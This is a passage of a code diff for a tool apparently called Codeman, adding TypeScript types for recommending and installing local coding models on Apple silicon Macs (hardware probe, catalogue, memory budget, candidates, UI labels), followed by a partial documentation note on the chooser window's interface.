+   * the model store is deleted once the runtime runs, before the new model is downloaded.
+   * Absent once that was done, and in `idle` and `installed`.
+   */
+  replacedModelId?: string;
+  /** The coding agent of the job or of the installation. */
+  cli?: { id: string; label: string };
+  /** The runtime, once its port was chosen. */
+  runtime?: {
+    /**
+     * The runtime version this installation runs. A later build with another pin keeps
+     * starting this version for as long as its folder is unpacked.
+     */
+    version: string;
+    /** The loopback port, chosen once by binding. */
+    port: number;
+    /**
+     * The pid of the child Codeman last started, stored the moment it is spawned. Used to
+     * tell our own runtime from another program: at boot, and before the folder is deleted.
+     */
+    pid?: number;
+    /** False after Stop: the runtime is not started at boot. */
+    enabled: boolean;
+    /** The device total the runtime printed when it started, in bytes. */
+    measuredTotalBytes?: number;
+  };
+  /** How far the last download was when the job paused or failed. A restart may leave it absent. */
+  progress?: { completedBytes: number; totalBytes: number };
+  /** What the runtime reported when the job checked the loaded model. */
+  loaded?: { context: number; sizeBytes: number; sizeVramBytes: number };
+  /**
+   * Present once the `connect` step CLAIMED the connection, which it does before its two
+   * writes: what uninstall must undo. A claim with nothing behind it (the step was interrupted
+   * right after it) is harmless: a resumed job writes both, and uninstall removes nothing.
+   */
+  connection?: {
+    /** The id of the endpoint record this feature wrote. */
+    endpointId: string;
+    /** The value `customModelEndpointsEnabled` had before this feature switched it on. */
+    flagWasEnabled: boolean;
+  };
+  /** ISO time of the last write. */
+  updatedAt?: string;
+}

src/types/local-model.ts

@@ -0,0 +1,569 @@
+/**
+ * @fileoverview Types of the hardware-aware local model recommendation: what the server sees of
+ * this Mac, the catalogue of models and harnesses, and the recommendation part of the answer of
+ * `GET /api/local-model`.
+ *
+ * Everything here is the READ side: Codeman looks at the Mac and recommends. The types of the
+ * install (the job states, the progress, the `install` object of the GET, the request bodies,
+ * the state file, the runtime pin) and `LocalModelStatus`, the whole `data` of the GET, are in
+ * src/types/local-model-install.ts. Both files go out through the barrel (`../types.js`).
+ *
+ * Who produces what:
+ *  - `HardwareFacts`: src/local-model/hardware.ts (one bounded `sysctl` spawn, never throws).
+ *  - `LocalModelCatalog` and its rows: src/config/local-model-catalog.ts (a compiled constant).
+ *  - `HarnessFact`: src/local-model/harness-facts.ts (server only, read from the CLI registry at
+ *    call time; it holds a function, so it never goes over HTTP).
+ *  - `Recommendation`, `Candidate`, `DeviceBudget`: src/local-model/recommend.ts (pure).
+ *
+ * A field that is optional here is optional by meaning, and its comment says when it is
+ * absent (a tested entry without a measured speed, a harness that needs no install command, a
+ * row without a tag). Everything else is always there, so the chooser window and the install
+ * job may rely on it.
+ *
+ * Three rules every producer and consumer follows:
+ *
+ * 1. ONE unit for a computed size a person reads: decimal GB, computed from bytes by
+ *    `formatGb()` in src/local-model/format.ts. Every such size travels twice, as bytes
+ *    (`needBytes`) and as the text to show (`needGb`, a number without the unit, such as
+ *    '25.5'). The browser prints the text and never divides bytes itself. GiB appears only
+ *    inside the budget math. The one exception is the NAME of the installed memory: the card
+ *    says `HardwareFacts.memClassGb` (48 for a Mac sold with 48 GB), see that field.
+ * 2. Every sentence or label the SERVER chooses comes from `LOCAL_MODEL_LABELS` below, so the
+ *    browser can translate it (`codemanT(text, vars)`) and its i18n test can list every string.
+ *    Numbers are never spliced into a sentence here: they travel in `vars` and fill the
+ *    `{placeholder}` slots.
+ * 3. A CLI id is DATA (`LocalHarnessEntry.cli`, `Candidate.cli`). No code compares one with a
+ *    literal: what differs between harnesses is a catalogue field or a `HarnessFact`.
+ */
+
+// ---------- Hardware ----------
+
+/**
+ * How `HardwareFacts` was obtained.
+ *  - `sysctl`: the spawn answered and `hw.memsize` parsed.
+ *  - `os-fallback`: on macOS, but the spawn failed or timed out; memory, architecture and the chip
+ *    string come from `node:os` and the free disk from `statfs`. What only sysctl knows (`arm64`,
+ *    `translated`, `model`, `macosVersion`, `macosMajor`, `wiredLimitMb`) is absent.
+ *  - `not-probed`: not macOS, so `sysctl` was never spawned.
+ */
+export type HardwareProbeSource = 'sysctl' | 'os-fallback' | 'not-probed';
+
+/**
+ * What the server knows about the machine it runs on. Plain JSON (it is part of the GET payload),
+ * and always an answer: a failed probe yields the `os-fallback` or `not-probed` shape, never an
+ * exception.
+ */
+export interface HardwareFacts {
+  /** `process.platform` of the server. Anything but `darwin` ends in verdict `none`, reason `not-macos`. */
+  platform: string;
+  /** `os.arch()` of the server process. `x64` on Apple silicon means Node runs under Rosetta. */
+  arch: string;
+  /** `hw.optional.arm64` is 1: the MACHINE is Apple silicon whatever `arch` says. Absent when the key was not read. */
+  arm64?: boolean;
+  /** `sysctl.proc_translated` is 1: this process runs under Rosetta. Absent when the key was not read (Intel Macs lack it). */
+  translated?: boolean;
+  /** Installed memory in bytes (`hw.memsize`, else `os.totalmem()`). The ONLY memory input of the budget math. */
+  memBytes: number;
+  /**
+   * `memBytes` in the unit of every computed size: decimal GB from `formatGb()`, without the unit
+   * ('17.2' for a Mac sold as 16 GB). NOT what the card calls the installed memory: that is
+   * `memClassGb`, see there.
+   */
+  memGb: string;
+  /**
+   * The memory size the Mac is sold as: whole binary gigabytes (16, 32, 48), 0 when the size is
+   * unknown. Tier rules and `TestedOn.memGb` use it, and it is the ONE size a person reads that
+   * is not decimal GB: the hardware line and the `memory` slot of `noneMemory` print it, because
+   * it is the number on the box and in About This Mac ("48 GB"), and '51.5 GB memory' reads as a
+   * different machine. Every computed size (need, budget, download, free disk) stays decimal GB.
+   */
+  memClassGb: number;
+  /** `machdep.cpu.brand_string` ('Apple M4 Pro'), else `os.cpus()[0].model`. */
+  chip?: string;
+  /** `hw.model` ('Mac16,10'). */
+  model?: string;
+  /** `kern.osproductversion` ('27.2'). */
+  macosVersion?: string;
+  /** The leading number of `macosVersion` (27). */
+  macosMajor?: number;
+  /** `iogpu.wired_limit_mb` exactly as reported. 0 means "not set" (both test Macs report 0); only a value above 0 is a limit. */
+  wiredLimitMb?: number;
+  /** Free bytes on the filesystem of Codeman's data dir (`statfs`: `bavail * bsize`). */
+  freeDiskBytes?: number;
+  /** `freeDiskBytes` as a person reads it (decimal GB, no unit). Present exactly when `freeDiskBytes` is. */
+  freeDiskGb?: string;
+  source: HardwareProbeSource;
+}
+
+// ---------- Catalogue ----------
+
+/**
+ * One Mac a model and harness pair was really run on by us. A candidate that matches an entry
+ * (the same chip string, the same memory size as sold, the same harness) is `tested`: it ranks
+ * before every candidate that is not, and as the pick it may be called "Recommended".
+ */
+export interface TestedOn {
+  /** The chip, as `machdep.cpu.brand_string` reports it ('Apple M4'). */
+  chip: string;
+  /** The Mac's memory as it is sold (`HardwareFacts.memClassGb`: 16, 32, 48). */
+  memGb: number;
+  /** The harness it was tested with: a CLI registry id, as data. */
+  cli: string;
+  /** ISO date of the test ('2026-11-06'). */
+  date: string;
+  /**
+   * The generation speed measured in that test, in tokens per second (67.7 for the
+   * 2026-11-06 run on an Apple M5 Pro with 48 GB). A candidate that matches this entry reports
+   * this figure as `Candidate.tokensPerSecond` in place of the estimate from the chip's memory
+   * bandwidth: a measurement on the same Mac beats a formula.
+   */
+  tokensPerSecond?: number;
+}
+
+/** One model of the catalogue. */
+export interface LocalModelEntry {
+  /** `name:tag` exactly as the model registry lists it. Lowercase, one colon, no slash (`LOCAL_MODEL_ID_PATTERN`). */
+  id: string;
+  /** The name a person reads ('Qwen3.8 27B'). */
+  label: string;
+  /** SPDX id of the license ('Apache-2.0'). */
+  license: string;
+  /** Parameter count in billions. When no model that fits has 12 or more, the verdict is `limited`, never `ok`. */
+  paramsB: number;
+  /**
+   * Size of the weights in bytes: both the download and what they take in memory.
+   *
+   * It is the size of the build the runtime really downloads ON A MAC. That is not always
+   * the sum of the registry manifest: `qwen3.6:35b-a3b` is an MLX build of 23,105,798,956 bytes
+   * on Apple silicon, 2% more than the manifest's 22,621,314,161. A row whose Mac size nobody
+   * measured keeps the manifest sum and says so in `figures`.
+   */
+  bytes: number;
+  /**
+   * Bytes that stay HELD in memory per token of context once the token was processed (measured
+   * on the MLX runner: 36,000 to 38,000, so about 37,000). A figure computed from a model's
+   * config alone came out too low by almost half, so a row that was not measured carries the
+   * measured row's figure and says so in `figures`.
+   */
+  heldBytesPerToken: number;
+  /** What the runner holds beside the weights and the context (measured: about 3 GB). */
+  overheadBytes: number;
+  /**
+   * The TRANSIENT extra the runner takes while it processes a long prompt, on top of
+   * what stays held (measured: about 5 GB). The fit is judged on the peak:
+   * `bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`. For
+   * `qwen3.6:35b-a3b` at 131072 tokens that is about 36 GB, which is tight on a 48 GB Mac.
+   */
+  peakExtraBytes: number;
+  /**
+   * Where `bytes` and the three memory figures above come from: `measured` on a Mac by
+   * us, or `estimated` (the manifest size, and the per-token, overhead and peak figures of the
+   * measured row applied to this one).
+   */
+  figures: 'measured' | 'estimated';
+  /** Context lengths (tokens) the model may be run at, largest first. */
+  contexts: number[];
+  /** Preference among models that fit: the HIGHER rank wins. A judgement, not a measurement. */
+  rank: number;
+  /** Measured tokens per second per 100 GB/s of memory bandwidth. Absent: the speed of this model is unknown. */
+  speedPer100Gbps?: number;
+  /** Macs this model was really run on. Empty for every row but one. */
+  tested: TestedOn[];
+}
+
+/** One harness (coding agent CLI) that can be connected to a local model. All of it is data. */
+export interface LocalHarnessEntry {
+  /** A CLI registry id. Data only: never compared with a literal anywhere. */
+  cli: string;
+  /** The smallest context (tokens) at which this harness works. */
+  minContext: number;
+  /** Preference among harnesses: the HIGHER rank wins. */
+  rank: number;
+  /** True: listed in the catalogue but never offered yet (its use with a local model is unverified). */
+  gated?: boolean;
+  /** True: the first answer takes minutes, because the harness sends a very large fixed prompt. */
+  slowFirstTurn?: boolean;
+}
+
+/**
+ * Memory bandwidth of one chip family. `LocalModelCatalog.chips` is ordered most specific first
+ * ('M4 Max' before 'M4') and the first row that names `HardwareFacts.chip` wins. A row names a
+ * chip when the chip string ENDS with its `match`, starting at the beginning or after a space,
+ * case ignored (`chipNameMatches()` in src/config/local-model-catalog.ts): 'M4' is not the chip
+ * of 'Apple M4 Pro', and a variant the table has never heard of ('Apple M6 Pro') matches no row.
+ * A chip that matches no row has an UNKNOWN speed: a bandwidth is never guessed.
+ */
+export interface ChipEntry {
+  /** The chip name the chip string must end with ('M4 Max'). */
+  match: string;
+  /** Memory bandwidth in GB/s. */
+  gbps: number;
+}
+
+/** The catalogue: a compiled constant, validated by `LocalModelCatalogSchema`. No override file, no download data. */
+export interface LocalModelCatalog {
+  schema: 1;
+  /** ISO date the rows were last checked ('2026-11-06'). Reported as `LocalModelStatus.catalogUpdated`. */
+  updated: string;
+  /** Oldest macOS major version a local model runs on. Below it: verdict `none`, reason `macos`. */
+  minMacosMajor: number;
+  models: LocalModelEntry[];
+  harnesses: LocalHarnessEntry[];
+  chips: ChipEntry[];
+}
+
+// ---------- Harness facts (server only) ----------
+
+/**
+ * What the server knows about one catalogue harness on this machine. Built from the CLI registry
+ * at call time, so `recommend()` names no CLI. NOT serializable (it holds a function): it never
+ * leaves the server. `Candidate` carries the parts a browser needs.
+ */
+export interface HarnessFact {
+  /** The CLI registry id. */
+  cli: string;
+  /** The registry's display label ('OpenCode'). */
+  label: string;
+  /** The CLI's binary was found on this machine. */
+  installed: boolean;
+  /** Not installed, but the registry has an install command for this platform that needs no administrator rights. */
+  installable: boolean;
+  /**
+   * The literal install command the install job would run for this CLI: the STOCK
+   * command of the CLI registry for this platform, never one a `clis.json` override supplies.
+   * Present exactly when `installable` is true. The consent screen prints it
+   * (`CandidateHarness.installCommand`).
+   */
+  installCommand?: string;
+  /** Whether this CLI can be launched with that model id (its command-line pattern accepts it). */
+  acceptsModelId: (modelId: string) => boolean;
+}
+
+// ---------- Recommendation ----------
+
+/**
+ * Need over budget: up to 0.85 is `good`, up to 0.98 is `tight`, above is `out`. The need is
+ * the PEAK, so the grade says how much room is left at the worst moment. It decides whether a
+ * model is offered at all (`out` never is) and what its row says (`tight`). It does not sort
+ * the list.
+ */
+export type FitGrade = 'good' | 'tight' | 'out';
+
+/**
+ * Expected generation speed. `unknown` when the chip is in no `ChipEntry` or the model has no
+ * `speedPer100Gbps`. In the ranking `unknown` sits between `ok` and `slow`.
+ */
+export type SpeedGrade = 'ok' | 'slow' | 'unknown';
+
+/**
+ * Why the verdict is `none`.
+ *  - `not-macos`: the server does not run on macOS (the card is hidden).
+ *  - `intel`: a Mac without Apple silicon.
+ *  - `memory`: no model fits the memory budget at a context a usable harness needs. Three
+ *    headlines share this reason: `noneMemory` (nothing fits at any context), `noneMemoryContext`
+ *    (a model fits, but only below the context a harness needs: the sentence carries the budget
+ *    and the need) and `noneMemoryUnknown` (the memory size could not be read).
+ *  - `disk`: models fit the memory, but for every one of them free disk minus the download is below 10 GiB.
+ *  - `macos`: macOS is older than `LocalModelCatalog.minMacosMajor`.
+ *  - `no-harness`: no catalogue harness is installed or installable and accepts a model.
+ */
+export type NoneReason = 'not-macos' | 'intel' | 'memory' | 'disk' | 'macos' | 'no-harness';
+
+/**
+ * Where the device budget came from.
+ *  - `estimated`: a formula over the installed memory. All there is before the runtime ran.
+ *  - `wired-limit`: `iogpu.wired_limit_mb` above 0.
+ *  - `measured`: the device total the runtime itself printed when it started
+ *    (`RecommendOptions.measuredTotalBytes`). The chooser says "estimated" next to the memory
+ *    bar for the first value only.
+ */
+export type BudgetSource = 'estimated' | 'wired-limit' | 'measured';
+
+/** The memory a model may use on this Mac. */
+export interface DeviceBudget {
+  /**
+   * L: the measured device total when there is one, else the wired limit when above 0, else
+   * 2/3 of memory below 36 GB and 3/4 from 36 GB.
+   */
+  limitBytes: number;
+  /**
+   * What `Candidate.budgetShare` is measured against. Estimated or from the wired limit:
+   * B = min(L - 1 GiB, memory - reserve). Measured: B = min(L, memory - reserve), without the
+   * 1 GiB, because the runtime's figure is already what it will really use (37.4 GiB on the
+   * 48 GB test Mac, which reads '40.2').
+   */
+  budgetBytes: number;
+  source: BudgetSource;
+}
+
+/**
+ * What the caller of `recommend()` knows beyond the hardware probe. Both members are optional:
+ * an empty object means the budget is the estimate and an install downloads the model alone.
+ */
+export interface RecommendOptions {
+  /**
+   * The device total the runtime reported in its log line "inference compute"
+   * (`total="37.4 GiB"`), in bytes: `parseInferenceComputeTotal()` in
+   * src/local-model/runtime.ts. Present: the budget is `measured`. The install job passes it
+   * right after the runtime started, before the model is downloaded, and the GET passes the
+   * stored figure from then on.
+   */
+  measuredTotalBytes?: number;
+  /**
+   * What an install adds to every candidate's download beside the model: the size of the
+   * pinned runtime archive while the runtime is not installed, 0 once it is. It is the
+   * difference between `Candidate.installBytes` and `Candidate.downloadBytes`. Default 0.
+   */
+  runtimeDownloadBytes?: number;
+}
+
+/**
+ * Every sentence and label the server may put into the payload, in English (the i18n source
+ * language). The zh-CN dictionary in src/web/public/i18n.js has one entry per value, keyed by
+ * this exact text, and test/local-model-i18n.test.ts imports this constant to list them. Adding
+ * a key is fine; changing a text means changing its zh-CN key too.
+ *
+ * `{placeholder}` slots are filled by the browser from `LocalModelMessage.vars`. `{name}` is
+ * taken (the translator fills it with the display name), so no slot here is called `name`.
+ *
+ * | Key                 | Slots (all text; sizes are decimal GB without the unit)                   |
+ * |---------------------|---------------------------------------------------------------------------|
+ * | `noteDiskDropped`   | `model`: label of the best model left out for disk space; `missing`: its  |
+ * |                     | download + the disk reserve - free                                        |
+ * | `noneMemory`        | `memory`: `HardwareFacts.memClassGb`, the size the Mac is sold as         |
+ * | `noneMemoryContext` | `budget`: `Recommendation.budgetGb`; `need`: the smallest need of any     |
+ * |                     | model at a context a usable harness works at                              |
+ * | `noneDisk`          | `download`: smallest download among the models that fit the memory;       |
+ * |                     | `reserve`: what must stay free after it (10 GiB, as decimal GB); `free`:  |
+ * |                     | `HardwareFacts.freeDiskGb`; `missing`: download + reserve - free          |
+ * | `noneMacos`         | `version`: `HardwareFacts.macosVersion`; `minimum`: the catalogue minimum |
+ *
+ * The word "Recommended" exists only in `headlineTested`, which may be used only when the
+ * pick's `tested` is true: one catalogue row has a tested entry (`qwen3.6:35b-a3b` on an Apple
+ * M5 Pro with 48 GB), so one kind of Mac is told so.
+ */
+export const LOCAL_MODEL_LABELS = {
+  /** Verdict `ok`, pick not tested by us on a Mac like this one. */
+  headlineOk: 'Best fit for this Mac',
+  /** Verdict `ok`, pick tested by us on a Mac like this one. */
+  headlineTested: 'Recommended for this Mac',
+  /** Verdict `limited`: no model with 12 billion parameters or more fits this Mac. */
+  headlineLimited:
+    'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.',
+  /** A note under an `ok` or `limited` pick whose `tested` is false. */
+  noteUntested: 'Codeman has not run this on a Mac like this yet.',
+  /** A note under an `ok` pick that is itself a small model: larger ones fit this Mac, but rank lower or have no room on the disk. */
+  noteSmallPick:
+    'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.',
+  /** A note when a model that fits the memory was left out because its download would not leave the disk reserve. */
+  noteDiskDropped:
+    '{model} fits the memory of this Mac too, but its download needs about {missing} GB more free disk space.',
+  fitGood: 'Good',
+  fitTight: 'Tight',
+  speedSlow: 'Slow',
+  speedUnknown: 'Speed unknown',
+  noneNotMacos: 'Codeman recommends a local model only on a Mac with Apple silicon.',
+  noneIntel: 'Local coding models need Apple silicon, and this Mac has an Intel processor.',
+  /** Reason `memory`: nothing fits at any context. */
+  noneMemory: 'With {memory} GB of memory, this Mac cannot run a model that can drive a coding agent.',
+  /** Reason `memory`: a model fits, but only below the context a harness needs. Says both numbers, and ("about") that they are estimates. */
+  noneMemoryContext:
+    'This Mac can give a model about {budget} GB of memory, and the smallest model a coding agent can work with needs about {need} GB.',
+  /** Reason `memory`: the memory size could not be read, so no size is stated. */
+  noneMemoryUnknown: 'Codeman could not read how much memory this Mac has, so it recommends no model here.',
+  /** Reason `disk`. One number: what to do. The other sizes travel in `vars` for a client that wants them. */
+  noneDisk: 'Free up about {missing} GB of disk space to install the smallest model that fits this Mac.',
+  noneMacos: 'Local models need macOS {minimum} or newer, and this Mac runs macOS {version}.',
+  noneNoHarness: 'No coding agent that Codeman can connect to a local model is available on this Mac.',
+} as const;
+
+/** One of the texts in `LOCAL_MODEL_LABELS`. The payload's label fields are typed with it, so an off-list string does not compile. */
+export type LocalModelLabel = (typeof LOCAL_MODEL_LABELS)[keyof typeof LOCAL_MODEL_LABELS];
+
+/** The headline of each `none` reason. `memory` has two more (`noneMemoryContext`, `noneMemoryUnknown`), see `NoneReason`. */
+export const LOCAL_MODEL_NONE_LABELS: Record<NoneReason, LocalModelLabel> = {
+  'not-macos': LOCAL_MODEL_LABELS.noneNotMacos,
+  intel: LOCAL_MODEL_LABELS.noneIntel,
+  memory: LOCAL_MODEL_LABELS.noneMemory,
+  disk: LOCAL_MODEL_LABELS.noneDisk,
+  macos: LOCAL_MODEL_LABELS.noneMacos,
+  'no-harness': LOCAL_MODEL_LABELS.noneNoHarness,
+};
+
+/** A sentence for the card: a text from `LOCAL_MODEL_LABELS` plus the values of its `{placeholder}` slots. */
+export interface LocalModelMessage {
+  text: LocalModelLabel;
+  /** Slot values, already formatted as text. Absent when the text has no slot. */
+  vars?: Record<string, string>;
+}
+
+/**
+ * The one tag a model row of the chooser carries, by what it says.
+ *  - `tested`: `Candidate.tested` is true. Replaces every other tag.
+ *  - `best-tight`: the pick, when its `fit` is `tight`. The words must not say less than the
+ *    memory bar beside them, which is nearly full for such a row.
+ *  - `best`: the pick.
+ *  - `tight`: `Candidate.fit` is `tight`.
+ *  - `slow`: `Candidate.speed` is `slow`.
+ *  - `small`: the model has fewer than 12 billion parameters.
+ * A row gets the FIRST kind of this list that applies and no tag when none does. `tested`,
+ * `best` and `best-tight` are the tags of the row the window opens on, drawn in the accent
+ * colour.
+ */
+export type CandidateTagKind = 'tested' | 'best-tight' | 'best' | 'tight' | 'slow' | 'small';
+
+/**
+ * The text of each tag, in English (the i18n source language), like `LOCAL_MODEL_LABELS`. A
+ * constant of its own so that a consumer can list the tag texts apart from the sentences.
+ */
+export const LOCAL_MODEL_TAG_LABELS = {
+  tested: 'Tested on a Mac like this',
+  'best-tight': 'Best fit, tight',
+  best: 'Best fit',
+  tight: 'Tight',
+  slow: 'Slow',
+  small: 'Small model',
+} as const satisfies Record<CandidateTagKind, string>;
+
+/** One of the texts in `LOCAL_MODEL_TAG_LABELS`. */
+export type LocalModelTagLabel = (typeof LOCAL_MODEL_TAG_LABELS)[CandidateTagKind];
+
+/** The tag of a model row: what kind it is (for the styling) and the text to print. */
+export interface CandidateTag {
+  kind: CandidateTagKind;
+  /** `LOCAL_MODEL_TAG_LABELS[kind]`. */
+  label: LocalModelTagLabel;
+}
+
+/**
+ * One coding agent a candidate's model can be run with on this Mac, for the "Runs
+ * with" select of the chooser. Everything a browser needs is here, so it compares no CLI id.
+ */
+export interface CandidateHarness {
+  /** The CLI registry id, as data: what `POST /api/local-model/install` is sent as `cli`. */
+  cli: string;
+  /** The registry's display label ('OpenCode'). */
+  cliLabel: string;
+  /** False: the install job installs it first (it is installable, or it would not be listed). */
+  installed: boolean;
+  /**
+   * The literal command the install job would run to install it (`HarnessFact.installCommand`).
+   * Present exactly when `installed` is false. The consent screen prints it as it is.
+   */
+  installCommand?: string;
+  /** The harness row's `slowFirstTurn`. */
+  slowFirstTurn?: boolean;
+}
+
+/** One model at one context with one harness, measured against this Mac. Plain JSON. */
+export interface Candidate {
+  /** `LocalModelEntry.id`. */
+  modelId: string;
+  /** `LocalModelEntry.label`. */
+  modelLabel: string;
+  license: string;
+  paramsB: number;
+  /** Context length in tokens. */
+  context: number;
+  /** The harness: a CLI registry id, as data. */
+  cli: string;
+  /** The harness's display label, from the CLI registry. */
+  cliLabel: string;
+  /** False: the harness is not on this machine yet (it is installable, or it would not be a candidate). */
+  cliInstalled: boolean;
+  /** The harness row's `slowFirstTurn`. */
+  slowFirstTurn?: boolean;
+  /**
+   * What the model needs in memory at this context: the PEAK, `bytes + heldBytesPerToken *
+   * context + overheadBytes + peakExtraBytes` of the catalogue row. The memory bar of the
+   * chooser is filled to `budgetShare`, which is this over the budget.
+   */
+  needBytes: number;
+  /** `needBytes` as decimal GB text, no unit. */
+  needGb: string;
+  /**
+   * What `needBytes` is made of, for the chooser's memory map: the model (`bytes +
+   * overheadBytes`), its context in use (`heldBytesPerToken * context`) and the brief peaks
+   * (`peakExtraBytes`). The three add up to `needBytes`.
+   */
+  memory?: { modelBytes: number; contextBytes: number; peakBytes: number };
+  /** The model download in bytes (`LocalModelEntry.bytes`). */
+  downloadBytes: number;
+  /** `downloadBytes` as decimal GB text, no unit. */
+  downloadGb: string;
+  /** `needBytes / Recommendation.budgetBytes`, rounded to three decimals (0.83). The fit grade is decided on the unrounded ratio. */
+  budgetShare: number;
+  /** A candidate in a `Recommendation` is never `out`. */
+  fit: Exclude<FitGrade, 'out'>;
+  /** `fitGood` or `fitTight`. */
+  fitLabel: LocalModelLabel;
+  speed: SpeedGrade;
+  /** `speedSlow` or `speedUnknown`. Absent when `speed` is `ok`. */
+  speedLabel?: LocalModelLabel;
+  /**
+   * Generation speed in tokens per second, rounded to one decimal. Present exactly when `speed`
+   * is not `unknown`; `speed` is decided on the unrounded figure. An estimate from the chip's
+   * memory bandwidth, except for a candidate that is `tested`, which reports the
+   * speed measured in that test (`TestedOn.tokensPerSecond`).
+   */
+  tokensPerSecond?: number;
+  /**
+   * A `TestedOn` entry of the model matches this Mac (same chip, same `memClassGb`) and this
+   * harness. Such a candidate ranks first, and its `tag` says so in place of any other tag.
+   */
+  tested: boolean;
+  /** `LocalModelEntry.figures` of the model: whether `needBytes` rests on a measurement of this model. */
+  needSource: 'measured' | 'estimated';
+  /** The row's one tag, see `CandidateTagKind`. Absent when no kind applies. */
+  tag?: CandidateTag;
+  /**
+   * Every coding agent this model can be run with at `context` on this Mac, best
+   * first. The first entry is the one the flat fields above name (`cli`, `cliLabel`,
+   * `cliInstalled`, `slowFirstTurn`). Never empty.
+   */
+  harnesses: CandidateHarness[];
+  /**
+   * The whole download a click on Install starts for this row: `downloadBytes` plus
+   * `RecommendOptions.runtimeDownloadBytes`. It is the server's own total, and exactly the
+   * number `POST /api/local-model/install` must be sent as `acknowledgedBytes`.
+   */
+  installBytes: number;
+  /** `installBytes` as decimal GB text, no unit. */
+  installGb: string;
+}
+
+/**
+ * The answer of `recommend()`.
+ *  - `ok`: `pick` is the best candidate, and at least one model with 12 billion parameters or
+ *    more fits this Mac's memory at a context a usable harness works at. The pick itself can be
+ *    smaller (a larger model may fit only tightly, have no speed figure, or have no room on the
+ *    disk): `notes` then carries `noteSmallPick`.
+ *  - `limited`: `pick` is the best candidate, and NO model with 12 billion parameters or more
+ *    fits. The card says so and never says "Recommended".
+ *  - `none`: no pick; `reason` says why.
+ */
+export interface Recommendation {
+  verdict: 'ok' | 'limited' | 'none';
+  /** Present exactly when `verdict` is `none`. */
+  reason?: NoneReason;
+  /** What the card says first: `headlineOk`, `headlineTested`, `headlineLimited` or a `none` sentence. */
+  headline: LocalModelMessage;
+  /** Further sentences under the pick, in this order: `noteSmallPick`, `noteDiskDropped`, `noteUntested`. May be empty. */
+  notes: LocalModelMessage[];
+  /** Present exactly when `verdict` is `ok` or `limited`. */
+  pick?: Candidate;
+  /**
+   * The next models that fit and have room on the disk (at most four), best first: tested
+   * before not tested, then ok before unknown before slow speed, then the higher model rank.
+   * Each is at the largest context it fits at, with the best harness that can run it there.
+   * Empty when `verdict` is `none`.
+   */
+  alternatives: Candidate[];
+  /** `DeviceBudget.budgetBytes`. 0 when no budget is computed: not macOS, or a Mac without Apple silicon. */
+  budgetBytes: number;
+  /** `budgetBytes` as decimal GB text, no unit. */
+  budgetGb: string;
+  budgetSource: BudgetSource;
+}
+
+// `LocalModelStatus`, the `data` of `GET /api/local-model`, is in src/types/local-model-install.ts.

src/web/CLAUDE.md

@@ -48,6 +48,8 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
 
 **Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module).
 
+**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action 